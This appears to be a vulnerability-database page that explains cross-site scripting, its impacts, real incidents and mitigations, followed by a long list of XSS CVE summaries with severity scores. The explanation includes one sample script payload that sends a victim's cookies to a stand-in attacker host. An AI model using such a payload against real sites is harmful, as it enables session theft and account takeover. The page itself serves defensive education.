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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40978)

EPSS 1% CVSS 6.1
MEDIUM This Month

Cross Site Scripting vulnerability found in Vade Secure Gateway allows a remote attacker to execute arbitrary code via the username, password, and language cookies parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Secure Gateway +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross Site Scripting vulnerability found in Vade Secure Gateway allows a remote attacker to execute arbitrary code via a crafted payload to the GET request after the /css/ directory. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Secure Gateway +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

@udecode/plate-link is the link handler for the udecode/plate rich-text editor plugin system for Slate & React. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Plate
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability found in Vade Secure Gateway allows a remote attacker to execute arbitrary code via a crafted payload to the X-Rewrite-URL parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Secure Gateway +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Vault and Vault Enterprise's (Vault) key-value v2 (kv-v2) diff viewer allowed HTML injection into the Vault web UI through key values. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Hashicorp Vault
NVD
EPSS 2% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in SourceCodester Sales Tracker Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Sales Tracker Management System +1
NVD GitHub VulDB Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in SourceCodester Performance Indicator System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Performance Indicator System
NVD GitHub VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The WordPress File Upload and WordPress File Upload Pro plugins for WordPress are vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 4.19.1 due to. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS File Upload +4
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Team Circle Image Slider With Lightbox plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘search_term’ parameter in versions up to, and including, 1.0.17 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Team Circle Image Slider With Lightbox +2
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The PixelYourSite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 9.3.6 (9.6.1 in the Pro version) due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Pixelyoursite +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WPCS - WordPress Currency Switcher Professional plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wpcs_current_currency shortcode in versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Currency Switcher Professional +2
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Advanced Woo Search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 2.77 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Advanced Woo Search
NVD VulDB
EPSS 1% CVSS 4.4
MEDIUM PATCH This Month

The FiboSearch - AJAX Search for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 1.23.0 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable.

WordPress XSS Fibosearch
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Photo Gallery Slideshow & Masonry Tiled Gallery plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the search_term parameter in versions up to, and including, 1.0.13 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Photo Gallery Slideshow Masonry Tiled Gallery +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpdm_members', 'wpdm_login_form', 'wpdm_reg_form' shortcodes in versions up to, and including, 3.2.70. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Download Manager +2
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The wordpress vertical image slider plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘search_term’ parameter in versions up to, and including, 1.2.16 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Vertical Image Slider +2
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

The WP Responsive Tabs horizontal vertical and accordion Tabs plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the search_term parameter in versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wp Responsive Tabs +2
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Locatoraid Store Locator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in versions up to, and including, 3.9.14 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Locatoraid +2
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The ShiftController Employee Shift Scheduling plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the query string in versions up to, and including, 4.9.25 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Shiftcontroller +2
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The PowerPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in versions up to, and including, 10.0 due to insufficient input sanitization and output. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Powerpress +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Weaver Show Posts Plugin for WordPress is vulnerable to stored Cross-Site Scripting due to insufficient escaping of the profile display name in versions up to, and including, 1.6. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Weaver Show Posts +2
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Weaver Xtreme Theme for WordPress is vulnerable to stored Cross-Site Scripting due to insufficient escaping of the profile display name in versions up to, and including, 5.0.7. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Weaver Xtreme Theme +2
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

The Shield Security plugin for WordPress is vulnerable to Missing Authorization on the 'theme-plugin-file' AJAX action in versions up to, and including, 17.0.17. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity.

WordPress XSS Authentication Bypass +3
NVD VulDB
EPSS 39% CVSS 7.2
HIGH PATCH Act Now

The Shield Security plugin for WordPress is vulnerable to stored Cross-Site Scripting in versions up to, and including, 17.0.17 via the 'User-Agent' header. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Epss exploitation probability 38.8%.

WordPress XSS Shield Security +2
NVD VulDB
EPSS 0% CVSS 4.9
MEDIUM PATCH This Month

The Metform Elementor Contact Form Builder for WordPress is vulnerable to Cross-Site Scripting by using the 'fname' attribute of the 'mf_thankyou' shortcode to echo unescaped form submissions in. Rated medium severity (CVSS 4.9), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Metform Elementor Contact Form Builder +3
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Metform Elementor Contact Form Builder for WordPress is vulnerable to Cross-Site Scripting by using the 'mf_last_name' shortcode to echo unescaped form submissions in versions up to, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Metform Elementor Contact Form Builder +3
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Metform Elementor Contact Form Builder for WordPress is vulnerable to Cross-Site Scripting by using the 'mf_first_name' shortcode to echo unescaped form submissions in versions up to, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Metform Elementor Contact Form Builder +3
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Metform Elementor Contact Form Builder for WordPress is vulnerable to Cross-Site Scripting by using the 'mf' shortcode to echo unescaped form submissions in versions up to, and including, 3.3.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Metform Elementor Contact Form Builder +3
NVD VulDB
EPSS 3% CVSS 5.4
MEDIUM POC This Month

Pydio Cells through 4.1.2 allows XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pydio Cells
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Chamilo v1.11.x up to v1.11.18 was discovered to contain a cross-site scripting (XSS) vulnerability via the /feedback/comment field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Chamilo Lms Chamilo
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in SourceCodester Life Insurance Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Life Insurance Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Sterling Partner Engagement Manager 6.1, 6.2, and 6.2.1 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Sterling Partner Engagement Manager
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Sterling Partner Engagement Manager 6.1, 6.2, and 6.2.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Sterling Partner Engagement Manager
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM TXSeries for Multiplatforms 8.1, 8.2, 9.1, CICS TX Standard, 11.1, CICS TX Advanced 10.1, and 11.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Cics Tx +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Google Microsoft +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.8 before 15.10.8, all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

An issue has been discovered in GitLab CE/EE affecting all versions starting from 1.2 before 15.10.8, all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 96% CVSS 5.4
MEDIUM This Month

An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Online Discussion Forum Site 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Discussion Forum Site +1
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability classified as problematic has been found in SourceCodester Online Discussion Forum Site 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Discussion Forum Site +1
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository microweber/microweber prior to 2.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 0% CVSS 4.3
MEDIUM This Month

Missing HTTP headers (X-Frame-Options, Content-Security-Policy) in KNIME Business Hub before 1.4.0 has left users vulnerable to click jacking. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Business Hub Knime
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The WP Quick FrontEnd Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.5 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Quick Frontend Editor +1
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM POC This Month

The WooCommerce Dynamic Pricing and Discounts plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.4.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Woocommerce Dynamic Pricing And Discounts
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The Flo Forms - Easy Drag & Drop Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Options Change by using the flo_import_forms_options AJAX action in versions up to,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Flo Forms +1
NVD WPScan
EPSS 1% CVSS 7.2
HIGH POC PATCH This Week

The Frontend File Manager plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in versions up to, and including, 18.2. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Frontend File Manager Plugin +2
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WP Quick FrontEnd Editor plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 5.5 due to insufficient input sanitization and output escaping on. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Quick Frontend Editor +2
NVD VulDB
EPSS 1% CVSS 7.2
HIGH POC This Week

The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an unknown parameter in versions up to, and including, 3.1.23 due to insufficient input sanitization. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Dsgvo Tools +1
NVD VulDB
EPSS 19% CVSS 7.2
HIGH POC THREAT Act Now

The Flexible Checkout Fields for WooCommerce plugin for WordPress is vulnerable to Unauthenticated Arbitrary Plugin Settings update, in addition to Stored Cross-Site Scripting in versions up to, and. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 19.5%.

WordPress XSS Flexible Checkout Fields +1
NVD
EPSS 0% CVSS 5.5
MEDIUM POC This Month

The Visual Composer plugin for WordPress is vulnerable to Cross-Site Scripting in versions up to, and including, 26.0 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Visual Composer Website Builder +1
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The Avada theme for WordPress is vulnerable to Stored Cross-Site Scripting via the update_layout function in versions up to, and including, 6.2.3 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Avada +1
NVD
EPSS 0% CVSS 5.5
MEDIUM POC This Month

The Page Builder: KingComposer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via via shortcode in versions before 2.9.4 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Page Builder Kingcomposer +1
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The Fruitful Theme for WordPress is vulnerable to Stored Cross-Site Scripting via several parameters stored via the fruitful_theme_options_action AJAX action in versions up to, and including, 3.8.1. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Fruitful Theme
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG image uploads in versions up to, and including 2.9.7 This makes it possible for authenticated. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Website Builder +1
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The WP HTML Mail plugin for WordPress is vulnerable to HTML injection in versions up to, and including, 2.9.0.3 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Html Mail +1
NVD VulDB
EPSS 1% CVSS 7.2
HIGH POC PATCH This Week

The Pretty Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via various IP headers as well as the referer header in versions up to, and including, 2.1.9 due to insufficient. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Prettylinks +2
NVD
EPSS 1% CVSS 7.2
HIGH POC PATCH This Week

The DELUCKS SEO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the saveSettings() function that had no capability checks in versions up to, and including, 2.1.7 due to. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Delucks Seo +1
NVD VulDB
EPSS 0% CVSS 7.2
HIGH POC This Week

The Contact Form & SMTP Plugin by PirateForms plugin for WordPress is vulnerable to HTML injection in the ‘public/class-pirateforms-public.php’ file in versions up to, and including, 2.5.1 due to. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WP HTML Mail plugin for WordPress is vulnerable to HTML injection in versions up to, and including, 2.2.10 due to insufficient input sanitization. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Html Mail +1
NVD
EPSS 1% CVSS 7.2
HIGH POC PATCH This Week

The WordPress Coming Soon Page & Maintenance Mode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the logo_width, logo_height, rcsp_logo_url, home_sec_link_txt, rcsp_headline. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Coming Soon Page Maintenance Mode +2
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Kiwi TCMS is an open source test management system for both manual and automated testing. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Nginx Kiwi Tcms +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Avo is an open source ruby on rails admin panel creation framework. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Avo Avohq
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Minical 1.0.0 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Minical
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Kanboard is open source project management software that focuses on the Kanban methodology. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Kanboard
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository admidio/admidio prior to 4.2.8. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Admidio
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Gitpod before 2022.11.3 allows XSS because redirection can occur for some protocols outside of the trusted set of three (vscode: vscode-insiders: jetbrains-gateway:). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Gitpod
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Get your number WordPress plugin through 1.1.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Get Your Number
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Survey Maker WordPress plugin before 3.4.7 does not escape some parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Survey Maker +1
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The Quiz Maker WordPress plugin before 6.4.2.7 does not escape some parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Quiz Maker +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The 10Web Social Post Feed WordPress plugin before 1.2.9 does not sanitise and escape some parameter before outputting it back in a page, leading to a Reflected Cross-Site Scripting which could be. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS 10Web Social Post Feed +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Stop Spammers Security | Block Spam Users, Comments, Forms WordPress plugin before 2023 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Stop Spammers +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Stop Spammers Security | Block Spam Users, Comments, Forms WordPress plugin before 2023 does not sanitise and escape various parameters before outputting them back in admin dashboard pages,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Stop Spammers +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Newsletter, SMTP, Email marketing and Subscribe forms by Sendinblue WordPress plugin before 3.1.61 does not sanitise and escape a parameter before outputting it back in the admin dashboard when. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Newsletter Smtp Email Marketing And Subscribe +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The ConvertKit WordPress plugin before 2.2.1 does not escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Convertkit Email Marketing Email Newsletter And Landing Pages +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The SEO by 10Web WordPress plugin before 1.2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Seo +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

